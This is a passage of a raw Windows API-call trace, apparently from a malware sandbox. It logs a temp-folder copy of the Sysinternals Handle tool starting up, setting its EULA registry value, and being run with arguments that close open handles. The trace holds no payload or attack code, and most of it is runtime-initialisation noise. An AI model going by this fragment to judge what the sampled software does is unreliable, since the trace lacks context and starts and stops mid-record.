GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0107.465] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0107.465] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x478) returned 0x30f060 [0107.466] GetCurrentThreadId () returned 0xeb8 [0107.466] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x28) returned 0x305ee0 [0107.466] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb00) returned 0x30f4e0 [0107.466] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x30f060)) [0107.466] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0107.466] GetFileType (hFile=0x3) returned 0x2 [0107.745] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.745] GetFileType (hFile=0x7) returned 0x2 [0107.745] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0107.745] GetFileType (hFile=0xb) returned 0x2 [0107.746] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0107.746] GetEnvironmentStringsW () returned 0x30fff0* [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xb38) returned 0x310b30 [0107.746] FreeEnvironmentStringsW (penv=0x30fff0) returned 1 [0107.746] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xb8) returned 0x311670 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x138) returned 0x311730 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3e) returned 0x3062c0 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6c) returned 0x311870 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x62) returned 0x3118f0 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x78) returned 0x311960 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x62) returned 0x3119e0 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x30ddd0 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x306310 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2a) returned 0x30de10 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x28) returned 0x305f10 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1a) returned 0x305f40 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4a) returned 0x311a50 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x72) returned 0x311ab0 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x30de50 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x30de90 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1c) returned 0x305f70 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xd2) returned 0x311b30 [0107.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x7c) returned 0x311c10 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3a) returned 0x306360 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x90) returned 0x311ca0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x305fa0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x30ded0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x30df10 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x3063b0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x311d40 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x306400 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x18) returned 0x311da0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x82) returned 0x311dc0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x30df50 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1e) returned 0x305fd0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2c) returned 0x30df90 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x311e50 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x311eb0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2a) returned 0x30dfd0 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x306450 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x311f10 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x306000 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x30e010 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8c) returned 0x30fff0 [0107.747] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x310b30 | out: hHeap=0x2f0000) returned 1 [0107.747] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1000) returned 0x310090 [0107.747] GetLastError () returned 0x0 [0107.747] SetLastError (dwErrCode=0x0) [0107.747] GetLastError () returned 0x0 [0107.748] SetLastError (dwErrCode=0x0) [0107.748] GetLastError () returned 0x0 [0107.748] SetLastError (dwErrCode=0x0) [0107.748] GetACP () returned 0x4e4 [0107.748] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x228) returned 0x3110a0 [0107.748] GetLastError () returned 0x0 [0107.748] SetLastError (dwErrCode=0x0) [0107.748] IsValidCodePage (CodePage=0x4e4) returned 1 [0107.748] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0107.748] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0107.748] GetLastError () returned 0x0 [0107.748] SetLastError (dwErrCode=0x0) [0107.748] MultiByteToWideChar (CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0) [0107.748] MultiByteToWideChar (CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256) [0107.748] GetLastError () returned 0x0 [0107.748] SetLastError (dwErrCode=0x0) [0107.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0107.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0107.748] LCMapStringEx (lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0) [0107.748] LCMapStringEx (lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0) [0107.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0107.748] GetLastError () returned 0x0 [0107.748] SetLastError (dwErrCode=0x0) [0107.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0107.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0107.748] LCMapStringEx (lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0) [0107.749] LCMapStringEx (lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0) [0107.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0107.749] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x100) returned 0x3112d0 [0107.749] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0107.749] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x3112d0) returned 0x100 [0107.749] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0107.749] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0107.749] GetCurrentProcess () returned 0xffffffffffffffff [0107.754] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0107.754] GetLastError () returned 0x0 [0107.754] SetLastError (dwErrCode=0x0) [0107.754] GetLastError () returned 0x0 [0107.754] SetLastError (dwErrCode=0x0) [0107.754] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0107.754] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0107.755] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0107.755] RegCloseKey (hKey=0x78) returned 0x0 [0107.755] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0107.755] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0107.755] RegCloseKey (hKey=0x78) returned 0x0 [0107.755] GetLastError () returned 0x0 [0107.755] SetLastError (dwErrCode=0x0) [0107.755] GetLastError () returned 0x0 [0107.755] SetLastError (dwErrCode=0x0) [0107.755] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0107.755] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0107.756] RegCloseKey (hKey=0x78) returned 0x0 [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x1000) returned 0x3123f0 [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.756] SetLastError (dwErrCode=0x0) [0107.756] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.757] SetLastError (dwErrCode=0x0) [0107.757] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.758] GetLastError () returned 0x0 [0107.758] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.759] SetLastError (dwErrCode=0x0) [0107.759] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 [0107.760] SetLastError (dwErrCode=0x0) [0107.760] GetLastError () returned 0x0 